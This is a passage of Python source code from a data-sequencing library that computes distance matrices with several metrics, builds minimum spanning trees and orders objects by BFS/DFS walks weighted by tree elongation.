first?\"\n assert (estimator_name in self.estimator_list), \"the required estimator is not included in the esitmator list\"\n for i, estimator_value in enumerate(self.estimator_list):\n if estimator_value == estimator_name:\n scale_list_for_estimator = self.scale_list[i]\n assert (scale in scale_list_for_estimator), \"the required scale is not included in the scale list for the given estimator\" \n\n elongation, sequence = self.weighted_elongation_and_sequence_dictionary[(estimator_name, scale, \"weighted\")]\n\n return elongation\n\n\n def return_sequence_of_weighted_products(self, estimator_name, scale):\n \"\"\"Function returns the intermediate sequence obtained in the second stage of the code. For each distance metric and\n scale, the sequencer estimated the weighted distance matrix, and used it to calculate a sequence and an elongation. \n\n Parameters\n ----------\n :param estimator_name: string, the distance metric for which to return the list of elongations and sequences.\n\n :param scale: integer, the scale for which toe return the list of elongations and sequences.\n\n Returns\n -------\n :param sequence: a list of integers, the sequence that corresponds to the given metric and scale.\n \"\"\"\n assert (self.weighted_elongation_and_sequence_dictionary != None), \"the elongation and sequence dictionary is empty. Are you sure you executed the sequencer using Sequencer.execute first?\"\n assert (estimator_name in self.estimator_list), \"the required estimator is not included in the esitmator list\"\n for i, estimator_value in enumerate(self.estimator_list):\n if estimator_value == estimator_name:\n scale_list_for_estimator = self.scale_list[i]\n assert (scale in scale_list_for_estimator), \"the required scale is not included in the scale list for the given estimator\" \n\n elongation, sequence = self.weighted_elongation_and_sequence_dictionary[(estimator_name, scale, \"weighted\")]\n\n return sequence\n\n\n def return_elongation_of_weighted_products_all_metrics_and_scales(self):\n \"\"\"Function returns the intermediate elongations obtained in the second stage of the code. For each distance metric and\n scale, the sequencer estimated the weighted distance matrix, and used it to calculate a sequence and an elongation. \n (*) This function returns a list of elongations that corresponds to all the different metrics and scales. \n (*) If the user is interested in a particular metric and scale, then one can use the function: return_elongation_of_weighted_products.\n\n Returns\n -------\n :param estimator_list: a list of strings, the distance metrics for which the elongations were calculated.\n :param scale_list: a list of integers, the scales for which the elongations were calculated.\n :param elongation_list: a list of floats, the elongations that corresponds to every metric and scale.\n \"\"\"\n assert (self.weighted_elongation_and_sequence_dictionary != None), \"the elongation and sequence dictionary is empty. Are you sure you executed the sequencer using Sequencer.execute first?\"\n\n estimator_list = []\n scale_list = []\n elongation_list = []\n for estimator_index, estimator_value in enumerate(self.estimator_list):\n scale_list_for_estimator = self.scale_list[estimator_index]\n for scale_index, scale_value in enumerate(scale_list_for_estimator):\n elongation, sequence = self.weighted_elongation_and_sequence_dictionary[(estimator_value, scale_value, \"weighted\")]\n\n estimator_list.append(estimator_value)\n scale_list.append(scale_value)\n elongation_list.append(elongation)\n\n return estimator_list, scale_list, elongation_list\n\n\n def return_sequence_of_weighted_products_all_metrics_and_scales(self):\n \"\"\"Function returns the intermediate sequences obtained in the second stage of the code. For each distance metric and\n scale, the sequencer estimated the weighted distance matrix, and used it to calculate a sequence and an elongation. \n (*) This function returns a list of sequences that corresponds to all the different metrics and scales. \n (*) If the user is interested in a particular metric and scale, then one can use the function: return_sequence_of_weighted_products.\n\n Returns\n -------\n :param estimator_list: a list of strings, the distance metrics for which the elongations were calculated.\n :param scale_list: a list of integers, the scales for which the elongations were calculated.\n :param sequence_list: a list of lists, the sequences that corresponds to every metric and scale.\n \"\"\"\n assert (self.weighted_elongation_and_sequence_dictionary != None), \"the elongation and sequence dictionary is empty. Are you sure you executed the sequencer using Sequencer.execute first?\"\n\n estimator_list = []\n scale_list = []\n sequence_list = []\n for estimator_index, estimator_value in enumerate(self.estimator_list):\n scale_list_for_estimator = self.scale_list[estimator_index]\n for scale_index, scale_value in enumerate(scale_list_for_estimator):\n elongation, sequence = self.weighted_elongation_and_sequence_dictionary[(estimator_value, scale_value, \"weighted\")]\n\n estimator_list.append(estimator_value)\n scale_list.append(scale_value)\n sequence_list.append(sequence)\n\n return estimator_list, scale_list, sequence_list\n\n #######################################################################################################################\n ################################################ PRIVATE FUNCTIONS ####################################################\n #######################################################################################################################\n\n \n ###################################################### DATA I/O #######################################################\n def _load_distance_matrices_from_path(self):\n \"\"\"Funciton loads the distance matrices into memory from the distance matrix input file.\n\n This is an internal function that is used only in a case where the distance matrices per metric and scale were already\n computed during a previous run, and were saved. In such a case, the user can choose to load the precomputed matrices\n instead of calculating them again. This can save a lot of execution time.\n\n Returns\n -------\n :param distance_matrix_dictionary: a dictionary where each key is a tuple (estimator_name, scale_value), and the value \n is a list of distance matrices computed for each chunk of the data. \n \"\"\"\n input_file = open(self.distance_matrices_inpath, \"rb\")\n distance_matrix_dictionary_saved = pickle.load(input_file)\n input_file.close()\n\n distance_matrix_dictionary = {}\n for estimator_index, estimator_value in enumerate(self.estimator_list):\n\n scale_list_for_estimator = self.scale_list[estimator_index]\n for scale_value in scale_list_for_estimator:\n assert ((estimator_value, scale_value) in list(distance_matrix_dictionary_saved.keys())), \"the list of saved distance matrices does not include the required metrics and scales by Sequencer.execute\"\n distance_matrix_dictionary[(estimator_value, scale_value)] = distance_matrix_dictionary_saved[(estimator_value, scale_value)]\n\n return distance_matrix_dictionary\n\n def _dump_distance_matrices_to_path(self, distance_matrix_dictionary):\n \"\"\"Function saves the provided distance matrix dictionary into a file.\n \"\"\"\n output_file = open(self.distance_matrices_outpath, \"wb\")\n pickle.dump(distance_matrix_dictionary, output_file)\n output_file.close()\n\n\n ################################################# Distance measures ###################################################\n def _return_distance_matrix(self, grid, objects_list, estimator):\n \"\"\"Function estimates the distance matrix of the given objects using the given estimator.\n\n Parameters\n -------\n :param grid: numpy.ndarray(), the x-axis of the objects in the sample\n :param objects_list: a list of numpy.ndarray(), the objects in the sample\n :param estimator: string, the name of the distance metric to use for the estimation of distance\n\n Returns\n -------\n :param distance_matrix: numpy.ndarray(), the distance matrix \n \"\"\"\n grid = numpy.array(grid)\n objects_list = numpy.array(objects_list)\n\n assert ((len(grid.shape) == 1) or (len(grid.shape) == 2)), \"objects can be 1 or 2 dimensional\"\n assert (~numpy.isnan(grid)).all(), \"grid cannot contain nan values\"\n assert (~numpy.isinf(grid)).all(), \"grid cannot contain infinite values\"\n assert (~numpy.isneginf(grid)).all(), \"grid cannot contain negative infinite values\"\n assert (~numpy.isnan(objects_list)).all(), \"objects_list cannot contain nan values\"\n assert (~numpy.isinf(objects_list)).all(), \"objects_list cannot contain infinite values\"\n assert (~numpy.isneginf(objects_list)).all(), \"objects_list cannot contain negative infinite values\"\n if len(grid.shape) == 1:\n assert (grid.shape[0] == objects_list.shape[1]), \"the grid and the objects must have the same dimensions\"\n if len(grid.shape) == 2:\n assert ((grid.shape[0] == objects_list.shape[1]) and (grid.shape[1] == objects_list.shape[2])), \"the grid and the objects must have the same dimensions\"\n assert estimator in ['EMD', 'energy', 'KL', 'L2'], \"the distance estimator must be: EMD, energy, KL, or L2\"\n if estimator == \"EMD\":\n assert (objects_list >= 0).all(), \"the EMD distance can only be applied to non-negative values\"\n if estimator == \"energy\":\n assert (objects_list >= 0).all(), \"the energy distance can only be applied to non-negative values\"\n if estimator == \"KL\":\n assert (objects_list > 0).all(), \"the KL distance can only be applied to positive values\"\n\n # if the distance claculation should be carried out in parallel, save the data that will be used\n if self.to_use_parallelization:\n folder = './joblib_memmap'\n try:\n os.mkdir(folder)\n except FileExistsError:\n pass\n\n data_filename_memmap = os.path.join(folder, 'data_memmap')\n dump(objects_list, data_filename_memmap)\n objects_list = load(data_filename_memmap, mmap_mode='r')\n\n grid_filename_memmap = os.path.join(folder, 'grid_memmap')\n dump(grid, grid_filename_memmap)\n grid = load(grid_filename_memmap, mmap_mode='r')\n\n if estimator == \"EMD\":\n distance_matrix = return_emd_mat_brute_force(grid, objects_list, self.to_use_parallelization)\n\n if estimator == \"energy\":\n distance_matrix = return_energy_mat(grid, objects_list, self.to_use_parallelization)\n\n if estimator == \"KL\":\n distance_matrix = return_kl_mat(objects_list, self.to_use_parallelization)\n\n if estimator == \"L2\":\n distance_matrix = return_L2_mat(objects_list, self.to_use_parallelization)\n\n return distance_matrix\n\n ################################################## Scale functions ####################################################\n def _normalise_objects(self, objects_list):\n \"\"\"Function normalizes each of the objects in the list such that the sum of its elements will be one.\n\n Parameters\n -------\n :param objects_list: a list of numpy.ndarray(), the objects in the sample\n\n Returns\n -------\n :param objects_list: a list of numpy.ndarray(), the normalized objects\n \"\"\"\n assert ((len(objects_list.shape) == 2) or (len(objects_list.shape) == 3)), \"objects can be either 1D or 2D\"\n\n if len(objects_list.shape) == 2:\n sum_vector = numpy.sum(objects_list, axis=1)\n objects_list_normalised = objects_list / sum_vector[:, numpy.newaxis]\n\n if len(objects_list.shape) == 3:\n sum_vector = numpy.sum(objects_list, axis=(1,2))\n objects_list_normalised = objects_list / sum_vector[:, numpy.newaxis, numpy.newaxis]\n\n return objects_list_normalised\n\n def _divide_to_chunks_1D(self, grid, objects_list, N_chunks):\n \"\"\"Function divides the data into chunks according to N_chunks, and then normalizes each chunk to have a sum of one.\n Function also splits the grid array into the same chunks. Function assumes that the grid is 1D and the object list \n is 2D.\n\n Parameters\n -------\n :param grid: numpy.ndarray(), the x-axis of the objects\n :param objects_list: a list of numpy.ndarray(), the objects in the sample\n :param N_chunks: integer, the number of chunks to split each object into\n\n Returns\n -------\n :param grid_split: a list of numpy.ndarray(), a list containing the different parts of the split grid\n :param objects_list_split_normalised: a list of numpy.ndarray(), a list of length N_chunks consisting of the \n objects_list for each chunk, after normalization\n \"\"\"\n grid_split = numpy.array_split(grid, N_chunks)\n objects_list_split = numpy.array_split(objects_list, N_chunks, axis=-1)\n objects_list_split_normalised = []\n for objects_list_chunk in objects_list_split:\n sum_vec = numpy.sum(objects_list_chunk, axis=-1)\n for sum_val in sum_vec:\n assert (sum_val > 0), \"during the splitting into chunks, a chunk resulted in a negative or zero sum, which means that the chunk cannot be normalized. The user should consider adding an offset to all the objects\"\n object_list_chunk_norm = objects_list_chunk / sum_vec[:, numpy.newaxis]\n objects_list_split_normalised.append(object_list_chunk_norm)\n \n return grid_split, objects_list_split_normalised\n\n def _divide_to_chunks_2D(self, grid, objects_list, N_chunks):\n \"\"\"Function divides the data into chunks according to N_chunks, and then normalizes each chunk to have a sum of one.\n Function also splits the grid array into the same chunks. Function assumes that the grid is 2D and the object list \n is 3D.\n\n Parameters\n -------\n :param grid: numpy.ndarray(), the x-axis of the objects\n :param objects_list: a list of numpy.ndarray(), the objects in the sample\n :param N_chunks: integer, the number of chunks to split each object into\n\n Returns\n -------\n :param grid_split: a list of numpy.ndarray(), a list containing the different parts of the split grid\n :param objects_list_split_normalised: a list of numpy.ndarray(), a list of length N_chunks consisting of the \n objects_list for each chunk, after normalization\n \"\"\"\n grid_split = []\n for grid_split_tmp in numpy.array_split(grid, N_chunks[0], axis=0):\n grid_split += numpy.array_split(grid_split_tmp, N_chunks[1], axis=1)\n \n objects_list_split_normalised = []\n objects_list_split_1 = numpy.array_split(objects_list, N_chunks[0], axis=1)\n for objects_list_split_tmp in objects_list_split_1:\n objects_list_split_2 = numpy.array_split(objects_list_split_tmp, N_chunks[1], axis=2)\n for objects_list_split in objects_list_split_2:\n sum_vec = numpy.sum(objects_list_split, axis=(1,2))\n for sum_val in sum_vec:\n assert (sum_val > 0), \"during the splitting into chunks, a chunk resulted in a negative or zero sum, which means that the chunk cannot be normalized. The user should consider adding an offset to all the objects\"\n objects_list_split_normalised.append(objects_list_split / sum_vec[:, numpy.newaxis, numpy.newaxis])\n \n return grid_split, objects_list_split_normalised\n\n def _divide_to_chunks(self, grid, objects_list, N_chunks):\n \"\"\"The main function that divides the data into chunks. It splits the grid and objects_list into chunks\n according to N_chunks. The function does not assume that N_chunks can divide the data into equaly-sized chunks, \n but instead returns chunks of roughly similar size.\n\n Parameters\n -------\n :param grid: numpy.ndarray(), the x-axis of the objects\n :param objects_list: a list of numpy.ndarray(), the objects in the sample\n :param N_chunks: integer, the number of chunks to split each object into\n\n Returns\n -------\n :param grid_split: a list of numpy.ndarray(), a list containing the different parts of the split grid\n :param objects_list_split_normalised: a list of numpy.ndarray(), a list of length N_chunks consisting of the \n objects_list for each chunk, after normalization\n \"\"\"\n assert ((len(grid.shape) == 1) or (len(grid.shape) == 2)), \"objects can be either 1D or 2D\"\n\n if len(grid.shape) == 1:\n return self._divide_to_chunks_1D(grid, objects_list, N_chunks)\n if len(grid.shape) == 2:\n return self._divide_to_chunks_2D(grid, objects_list, N_chunks)\n\n\n ################################################## GRAPH FUNCTIONS ####################################################\n def _return_MST_elongation(self, distance_arr):\n \"\"\"Function estimates the elongation of the MST that is described by the given distance array. The input distance \n array represents the distances of each node in the graph from the root of the graph (the starting point). \n Funciton calculates the elongation by dividing the half-length of the tree by the half-width.\n The half-width is calculated as the average width in every depth level, and the half-length is calculated as the\n average distance from the root.\n\n Parameters\n -------\n :param distance_arr: list, a list that described the distance of each node from the root of the tree\n\n Returns\n -------\n :param mst_elongation: float, the elongation of the MST\n \"\"\"\n graph_half_length = numpy.average(distance_arr) \n g_unique, counts = numpy.unique(distance_arr, return_counts=True)\n graph_half_width = numpy.average(counts) / 2.\n mst_elongation = float(graph_half_length) / float(graph_half_width) + 1 \n\n return mst_elongation\n\n def _return_start_index_from_MST(self, graph):\n \"\"\"Function returns the starting point of the sequence, which is defined as the least central node in the given graph.\n The least central node in the graph is defined using the closeness centrality.\n \n Parameters\n -------\n :param graph: networkx.classes.graph.Graph(), the graph that represents the Mininun Spanning Tree\n\n Returns\n -------\n :param start_index: integer, the index of the node found to be the starting point\n \"\"\"\n centrality = nx.closeness_centrality(graph)\n indices = numpy.fromiter(centrality.keys(), dtype=int)\n centrality_measure = numpy.fromiter(centrality.values(), dtype=float)\n start_index = indices[numpy.argmin(centrality_measure)]\n\n return start_index\n\n def _apply_MST_and_return_MST_and_elongation(self, distance_matrix, return_elongation=True):\n \"\"\"Function converts the distance matrix into a fully-conncted graph and calculates its Minimum Spanning Tree (MST).\n Function has an option to return the elongation of the resulting MST. \n\n Parameters\n -------\n :param distance_matrix: numpy.ndarray(), the distance matrix that will be converted into an MST.\n :param return_elongation: boolean (default=True), whether to return the elongation of the resulting MST.\n\n Returns\n -------\n :param G: networkx.classes.graph.Graph(), the graph that represents the resulting MST.\n :param mst_elongation (optional): float, the elongation of the resulting MST.\n \"\"\"\n assert type(distance_matrix) == numpy.ndarray, \"distance matrix must be numpy.ndarray\"\n assert len(distance_matrix.shape) == 2, \"distance matrix must have 2 dimensions\"\n assert distance_matrix.shape[0] == distance_matrix.shape[1], \"distance matrix must be NxN matrix\"\n assert (~numpy.isnan(distance_matrix)).all(), \"distance matrix contains nan values\"\n assert (~numpy.isneginf(distance_matrix)).all(), \"distance matrix contains negative infinite values\"\n assert (distance_matrix.round(5) >= 0).all(), \"distance matrix contains negative values\"\n assert (distance_matrix.diagonal() == 0).all(), \"distance matrix must contain zeros in its diagonal\"\n\n min_span_dist_mat = minimum_spanning_tree(csr_matrix(distance_matrix)).toarray()\n G = nx.from_scipy_sparse_matrix(minimum_spanning_tree(csr_matrix(distance_matrix)))\n if return_elongation:\n start_index = self._return_start_index_from_MST(G)\n distance_dict = nx.shortest_path_length(G, start_index)\n distance_arr = numpy.fromiter(distance_dict.values(), dtype=int)\n mst_elongation = self._return_MST_elongation(distance_arr)\n return G, mst_elongation\n else:\n return G\n\n def _apply_MST_and_return_BFS_DFS_ordering(self, distance_matrix, start_index=None, return_elongation=True, return_MST=True):\n \"\"\"Function converts the distance matrix into a fully-connected graph and calculates its minimum spanning tree (MST).\n The function also returns two walks within the tree: BFS and DFS. The function also has an option to return the axis \n ratio of the resulting MST.\n\n Parameters\n -------\n :param distance_matrix: numpy.ndarray(), the distance matrix that will be converted into an MST.\n :param start_index: integer (default=None), the index in the matrix from which to start the BFS/DFS walk within the MST. \n If start_index==None, the function estimates the staring point using the closeness centrality measure.\n :param return_elongation: boolean (default=True), whether to return the elongation of the resulting MST.\n :param return MST: boolean (default=True), whether to return the resulting MST.\n\n Returns\n -------\n :param ordering_bfs: a list of integers, a list representing the indices of the nodes according to a BFS walk in the MST\n :param ordering_dfs: a list of integers, a list representing the indices of the nodes according to a DFS walk in the MST\n :param mst_elongation (optional): float, the elongation of the resulting MST.\n :param G (optional): networkx.classes.graph.Graph(), the graph that represents the resulting MST.\n \"\"\"\n assert type(distance_matrix) == numpy.ndarray, \"distance matrix must be numpy.ndarray\"\n assert len(distance_matrix.shape) == 2, \"distance matrix must have 2 dimensions\"\n assert distance_matrix.shape[0] == distance_matrix.shape[1], \"distance matrix must be NxN matrix\"\n assert (~numpy.isnan(distance_matrix)).all(), \"distance matrix contains nan values\"\n assert (~numpy.isneginf(distance_matrix)).all(), \"distance matrix contains negative infinite values\"\n assert (distance_matrix.round(5) >= 0).all(), \"distance matrix contains negative values\"\n assert (distance_matrix.diagonal() == 0).all(), \"distance matrix must contain zeros in its diagonal\"\n\n min_span_dist_mat = minimum_spanning_tree(csr_matrix(distance_matrix)).toarray()\n G = nx.from_scipy_sparse_matrix(minimum_spanning_tree(csr_matrix(distance_matrix)))\n if start_index == None:\n start_index = self._return_start_index_from_MST(G)\n # DFS walk\n ordering_dfs = numpy.fromiter(nx.dfs_preorder_nodes(G, start_index), dtype=int)\n # BFS walk\n ordering_bfs = self._return_bfs_walk(G, start_index)\n\n if return_elongation and return_MST:\n distance_dict = nx.shortest_path_length(G, start_index)\n distance_arr = numpy.fromiter(distance_dict.values(), dtype=int)\n mst_elongation = self._return_MST_elongation(distance_arr)\n return ordering_bfs, ordering_dfs, mst_elongation, G\n elif return_elongation:\n distance_dict = nx.shortest_path_length(G, start_index)\n distance_arr = numpy.fromiter(distance_dict.values(), dtype=int)\n mst_elongation = self._return_MST_elongation(distance_arr)\n return ordering_bfs, ordering_dfs, mst_elongation\n else:\n return ordering_bfs, ordering_dfs\n\n def _return_bfs_walk(self, G, start_index):\n \"\"\"Function returns the BFS walk within the given graph, assuming the given starting index. The difference \n between this function and the function in networkx is that this function takes into account the distances between\n individual nodes when performing the walk. When there is a degeneracy and one can walk to several nodes, the \n nodes will be visited according to their distance from their predecessor.\n\n Parameters\n -------\n :param G: networkx.classes.graph.Graph(), the graph that represents the resulting MST.\n :param start_index: integer (default=None), the index in the matrix from which to start the walk within the MST. \n\n Returns\n -------\n :param ordering_bfs: a list of integers, a list representing the indices of the nodes according to a BFS walk in the MST\n \"\"\"\n distance_dict = nx.shortest_path_length(G, start_index)\n bfs_pred = dict(nx.bfs_predecessors(G, start_index))\n\n distance_inds = numpy.fromiter(distance_dict.keys(), dtype=int)\n distance_arr = numpy.fromiter(distance_dict.values(), dtype=int)\n\n ordering_bfs = []\n distance_arr_unique = numpy.unique(distance_arr)\n for dist_val in distance_arr_unique:\n distance_inds_small = numpy.array(distance_inds[distance_arr == dist_val])\n # no degeneracy - a single node ahead\n if len(distance_inds_small) == 1:\n ordering_bfs.append(distance_inds_small[0])\n # degeneracy - several nodes, need to order them according to distance\n else:\n distance_arr_small = []\n for curr_ind in distance_inds_small:\n prev_ind = bfs_pred[curr_ind]\n distance_arr_small.append(G[prev_ind][curr_ind]['weight'])\n distance_arr_small = numpy.array(distance_arr_small)\n inds_ordered = distance_inds_small[numpy.argsort(distance_arr_small)]\n ordering_bfs += list(inds_ordered)\n\n ordering_bfs = numpy.array(ordering_bfs).astype(numpy.int)\n return ordering_bfs\n\n\n ######################################## PROXIMIY/DISTANCE matrix conversion ##########################################\n def _return_proximity_matrix_populated_by_MSTs_avg_prox(self, MST_list, weight_list):\n \"\"\"Function populates the MSTs from the input list into a proximty matrix, where each MST is weighted according \n to the appropriate weight from the weight list. The population is done by inserting the edges in an MST into \n the relevant cells in the proximity matrix, weighted by the appropriate weight.\n (*) Cells in the matrix that do not correspond to any edge will be filled with zero (no proximity).\n (*) Cells in the diagonal of the matrix will be filled with numpy.inf (infinite proximity).\n\n Parameters\n -------\n :param MST_list: list of networkx.classes.graph.Graph(), a list of the MSTs to be populated into the proximity matrix.\n :param weight_list: list of floats, a list of the weights of each of the MST when populated into the proximity matrix.\n In practice, the weights are defined as the elongations of each of the MSTs.\n\n Returns\n -------\n :param proximity_matrix: numpy.ndarray(), the proximity matrix, populated by the different MSTs.\n \"\"\"\n assert type(MST_list) == list, \"MST_list should be a list\"\n assert (numpy.array(weight_list) >= 0).all(), \"weights in weight_list should be non-negative\"\n assert numpy.fromiter([type(mst) == nx.classes.graph.Graph for mst in MST_list], dtype=bool).all(), \"MST_list should contain networkx.classes.graph.Graph objects\"\n\n # take only the N best estimators, if required:\n if self.to_average_N_best_estimators:\n indices = numpy.argsort(weight_list)[::-1][:self.number_of_best_estimators]\n weight_list_new = []\n MST_list_new = []\n for index_good in indices:\n weight_list_new.append(weight_list[index_good])\n MST_list_new.append(MST_list[index_good])\n\n weight_list = list(weight_list_new)\n MST_list = list(MST_list_new)\n\n N = MST_list[0].number_of_nodes()\n sum_of_weights = numpy.sum(weight_list)\n proximity_matrix = numpy.zeros((N, N))\n\n for mst_index, mst in enumerate(MST_list):\n weight_of_mst = weight_list[mst_index]\n # go over all the edges and populate, this should be symmetric\n for edge in mst.edges():\n node1 = edge[0]\n node2 = edge[1]\n distance = mst[node1][node2]['weight']\n proximity_matrix[node1, node2] += (weight_of_mst * (1.0 / distance))\n proximity_matrix[node2, node1] += (weight_of_mst * (1.0 / distance))\n proximity_matrix /= sum_of_weights\n numpy.fill_diagonal(proximity_matrix, numpy.inf)\n return proximity_matrix\n\n def _return_proximity_matrix_populated_by_MSTs_avg_dist(self, MST_list, weight_list):\n \"\"\"Function populates the MSTs from the input list into a proximty matrix, where each MST is weighted according \n to the appropriate weight from the weight list. The population is done by inserting the edges in an MST into \n the relevant cells in the distance matrix (the inverse of the proximity matrix), weighted by the appropriate weight.\n (*) Cells in the matrix that do not correspond to any edge will be filled with zero (no proximity).\n (*) Cells in the diagonal of the matrix will be filled with numpy.inf (infinite proximity).\n\n Parameters\n -------\n :param MST_list: list of networkx.classes.graph.Graph(), a list of the MSTs to be populated into the proximity matrix.\n :param weight_list: list of floats, a list of the weights of each of the MST when populated into the proximity matrix.\n In practice, the weights are defined as the elongations of each of the MSTs.\n\n Returns\n -------\n :param proximity_matrix: numpy.ndarray(), the proximity matrix, populated by the different MSTs.\n \"\"\"\n assert type(MST_list) == list, \"MST_list should be a list\"\n assert (numpy.array(weight_list) >= 0).all(), \"weights in weight_list should be non-negative\"\n assert numpy.fromiter([type(mst) == nx.classes.graph.Graph for mst in MST_list], dtype=bool).all(), \"MST_list should contain networkx.classes.graph.Graph objects\"\n\n # take only the N best estimators, if required:\n if self._to_average_N_best_estimators:\n indices = numpy.argsort(weight_list)[::-1][:self.number_of_best_estimators]\n weight_list_new = []\n MST_list_new = []\n for index_good in indices:\n weight_list_new.append(weight_list[index_good])\n MST_list_new.append(MST_list[index_good])\n\n weight_list = list(weight_list_new)\n MST_list = list(MST_list_new)\n\n N = MST_list[0].number_of_nodes()\n sum_of_weights = numpy.sum(weight_list)\n distance_matrix = numpy.zeros((N, N))\n\n for mst_index, mst in enumerate(MST_list):\n weight_of_mst = weight_list[mst_index]\n # go over all the edges and populate, this should be symmetric\n for edge in mst.edges():\n node1 = edge[0]\n node2 = edge[1]\n distance = mst[node1][node2]['weight']\n distance_matrix[node1, node2] += (weight_of_mst * distance)\n distance_matrix[node2, node1] += (weight_of_mst * distance)\n\n # now convert the distance matrix into a proximity matrix\n proximity_matrix = self._convert_distance_to_proximity_matrix(distance_matrix)\n return proximity_matrix\n\n\n def _convert_proximity_to_distance_matrix(self, proximity_matrix):\n \"\"\"Function converts the given proximity matrix into a distance matrix and returns it.\n\n Parameters\n -------\n :param proximity_matrix: numpy.ndarray(), a matrix describing the proximity between the different objects\n\n Returns\n -------\n :param distance_matrix: numpy.ndarray(), a matrix describing the distance between the different objects. \n It contains values which are the inverse of the proximity values.\n \"\"\"\n assert type(proximity_matrix) == numpy.ndarray, \"proximity matrix must be numpy.ndarray\"\n assert len(proximity_matrix.shape) == 2, \"proximity matrix must have 2 dimensions\"\n assert proximity_matrix.shape[0] == proximity_matrix.shape[1], \"proximity matrix must be NxN matrix\"\n assert (~numpy.isnan(proximity_matrix)).all(), \"proximity matrix contains nan values\"\n assert (~numpy.isneginf(proximity_matrix)).all(), \"proximity matrix contains negative infinite values\"\n assert (proximity_matrix >= 0).all(), \"proximity matrix contains negative values\"\n\n proximity_matrix_copy = numpy.copy(proximity_matrix)\n numpy.fill_diagonal(proximity_matrix_copy, numpy.inf)\n distance_matrix = 1.0 / proximity_matrix_copy\n return distance_matrix\n\n def _convert_distance_to_proximity_matrix(self, distance_matrix):\n \"\"\"Function converts the given distance matrix into a proximity matrix and returns it.\n\n Parameters\n -------\n :param distance_matrix: numpy.ndarray(), a matrix describing the distances between the different objects.\n\n Returns\n -------\n :param proximity_matrix: numpy.ndarray(), a matrix describing the proximity between the different objects. \n It contains values which are the inverse of the distance values.\n \"\"\"\n assert type(distance_matrix) == numpy.ndarray, \"distance matrix must be numpy.ndarray\"\n assert len(distance_matrix.shape) == 2, \"distance matrix must have 2 dimensions\"\n assert distance_matrix.shape[0] == distance_matrix.shape[1], \"distance matrix must be NxN matrix\"\n assert (~numpy.isnan(distance_matrix)).all(), \"distance matrix contains nan values\"\n assert (~numpy.isneginf(distance_matrix)).all(), \"distance matrix contains negative infinite values\"\n assert (distance_matrix.round(5) >= 0).all(), \"distance matrix contains negative values\"\n\n distance_matrix_copy = numpy.copy(distance_matrix)\n numpy.fill_diagonal(distance_matrix_copy, 0)\n proximity_matrix = 1.0 / distance_matrix_copy\n return proximity_matrix\n\n ################################################ ALGORITHM FUNCTIONS ##################################################\n def _return_distance_matrix_dictionary_for_estimators_and_scales(self):\n \"\"\"Function calculates the distance matrices for each distance metric and scale. \n It uses the list of distance metrics and scales provided by the user. For each metric and scale, function divides \n the objects into chunks according to the scale, and estimates the distance between the chunks of objects.\n \n Returns\n -------\n :param distance_matrix_dictionary: dict(), a dictionary consisting of all the different distance matrices. The keys \n of the dictionary are tuples of (estimator_name, scale_value), where estimator_name is a given distance metric\n and scale_value is a given scale. The values of the dictionary are lists consisting of the distance matrices \n for eahc of the chunks.\n \"\"\"\n assert type(self.grid) == numpy.ndarray, \"grid must be numpy.ndarray\"\n assert type(self.objects_list) == numpy.ndarray, \"objects_list_normalised must be numpy.ndarray\"\n assert ((len(self.grid.shape) == 1) or (len(self.grid.shape) == 2)), \"objects can be 1 or 2 dimensional\"\n assert (~numpy.isnan(self.grid)).all(), \"grid cannot contain nan values\"\n assert (~numpy.isinf(self.grid)).all(), \"grid cannot contain infinite values\"\n assert (~numpy.isneginf(self.grid)).all(), \"grid cannot contain negative infinite values\"\n assert (~numpy.isnan(self.objects_list)).all(), \"objects_list cannot contain nan values\"\n assert (~numpy.isinf(self.objects_list)).all(), \"objects_list cannot contain infinite values\"\n assert (~numpy.isneginf(self.objects_list)).all(), \"objects_list cannot contain negative infinite values\"\n if len(self.grid.shape) == 1:\n assert (self.grid.shape[0] == self.objects_list.shape[1]), \"the grid and the objects must have the same dimensions\"\n if len(self.grid.shape) == 2:\n assert ((self.grid.shape[0] == self.objects_list.shape[1]) and (self.grid.shape[1] == self.objects_list.shape[2])), \"the grid and the objects must have the same dimensions\"\n assert numpy.fromiter([(isinstance(scale_value, int) or type(scale_value) == numpy.int64) for scale_value in numpy.array(self.scale_list).flatten()], dtype=bool).all(), \"scale values must all be integers\"\n assert numpy.fromiter([estimator_value in ['EMD', 'energy', 'KL', 'L2'] for estimator_value in self.estimator_list], dtype=bool).all(), \"estimators must be EMD, energy, KL or L2\"\n\n distance_matrix_dictionary = {}\n for estimator_index, estimator_name in enumerate(self.estimator_list):\n\n scale_list_for_estimator = self.scale_list[estimator_index]\n for scale_index, scale_value in enumerate(scale_list_for_estimator):\n\n # printing information and saving it into a log file\n if self.to_print_progress:\n print(\"calculating the distance matrices for estimator: %s, scale: %s\" % (estimator_name, scale_value))\n if self.file_log != None:\n self.file_log.write(\"calculating the distance matrices for estimator: %s, scale: %s\\n\" % (estimator_name, scale_value))\n self.file_log.flush()\n \n start_time = time.time()\n # divide the objects into chunks according to the scale\n N_chunks = scale_value\n grid_splitted, objects_list_splitted = self._divide_to_chunks(self.grid, numpy.copy(self.objects_list), N_chunks)\n # construct the distance matrix list for this given scale\n distance_matrix_list = []\n for i in range(len(grid_splitted)):\n grid_of_chunk = grid_splitted[i]\n objects_list_of_chunk = objects_list_splitted[i]\n distance_matrix_of_chunk = self._return_distance_matrix(grid_of_chunk, objects_list_of_chunk, estimator_name)\n distance_matrix_list.append(distance_matrix_of_chunk)\n\n if self.to_print_progress: \n print(\"finished calculating this distance matrix list, it took: %s seconds\" % str(time.time() - start_time))\n if self.file_log != None:\n self.file_log.write(\"finished calculating this distance matrix list, it took: %s seconds \\n\" % str(time.time() - start_time))\n self.file_log.flush()\n\n # add the list of matrices to the dictionary\n distance_matrix_dictionary[(estimator_name, scale_value)] = distance_matrix_list\n return distance_matrix_dictionary\n\n def _return_weighted_distance_matrix_for_single_estimator_and_scale(self, distance_matrix_list, to_return_elongation_list=True, to_return_sequence_list=True):\n \"\"\"Function calculates the weighted distance matrix for a single metric and scale. \n Function takes as an input a list of distance matrices, which correspond to the different chunks at a given scale.\n Function orders the spectra according to each chunk and measures the elongation which serves as a weight of each sequence.\n Function then performs a weighted average to return a single distance matrix, according to the elongation.\n\n Parameters\n -------\n :param distance_matrix_list: list of numpy.ndarray(), a list of distance matrices for each chunk.\n :param to_return_elongation_list: boolean (default=True), whether to return a list of elongations per chunk.\n :param to_return_sequence_list: boolean (default=True), whether to return a list of the sequences per chunk.\n\n Returns\n -------\n :param weighted_distance_matrix: numpy.ndarray(), the weighted distance matrix over the different chunks\n :param ordering_list (optional): list of lists, a list that contains the sequences for each different chunk\n :param elongation_list (optional): list of floats, a list that contains the elongations for each different chunk\n 